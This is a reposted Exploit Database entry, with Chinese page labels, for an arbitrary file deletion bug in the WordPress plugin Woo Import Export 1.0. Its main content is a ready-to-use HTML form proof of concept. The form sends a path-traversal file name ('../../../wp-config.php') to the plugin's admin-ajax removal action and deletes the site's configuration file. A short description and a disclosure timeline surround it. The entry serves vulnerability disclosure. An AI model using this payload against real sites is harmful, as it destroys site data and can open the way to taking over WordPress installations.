WordPress Plugin Woo Import Export 1.0 – Arbitrary File Deletion

• Exploit Database
• 132 阅读

• 作者： Lenon Leite
  日期： 2018-04-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44520/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43

  <!-- # Exploit Title:Plugin to WordPress Woo Import Export 1.0 RCE – Unlink # Date: 24/04/2018 # Exploit Author: Lenon Leite # Vendor Homepage: * https://wordpress.org/plugins/woo-import-export-lite/ # Software Link: * https://wordpress.org/plugins/woo-import-export-lite/ # Contact: http://twitter.com/lenonleite # Website: http://lenonleite.com.br/ # Category: webapps # Version:1.0 # Tested on: Ubuntu 16.1     1 - Description     - Type user access: any user registered. - $_POST[&apos;file_name&apos;] is not escaped.   Article: *http://lenonleite.com.br/en/publish-exploits/english-plugin-woo-import-export-1-0-rce-unlink/   Video:   *https://www.youtube.com/watch?v=pImtGeecdCk   2. Proof of Concept -->   <form method="post" action="http://server/wp-admin/admin-ajax.php?action=wpie_remove_export_entry"> <input type="text" name="file_name" value="../../../wp-config.php"> <input type="text" name="log_id" value="aaa"> <input type="submit"> </form>   <!-- - Date Discovery : *11/25/2017* - Date Vendor Contact : *12/29/2017* - Date Publish : 24/04/2018 - Date Resolution : -->